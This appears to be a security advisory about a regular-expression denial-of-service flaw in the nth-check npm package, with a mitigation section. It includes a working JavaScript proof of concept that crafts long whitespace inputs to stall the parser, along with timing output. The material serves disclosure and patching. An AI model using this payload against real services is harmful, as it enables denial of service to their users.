Asymmetric denial of service - ReDoS In node-nth-check

Description

Inefficient Regular Expression Complexity in nth-check There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.

The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = '2n' + ' '.repeat(i*10000)+"!";
    try {
        nthCheck.parse(attack_str) 
    }...

The Output

attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version
Patched versions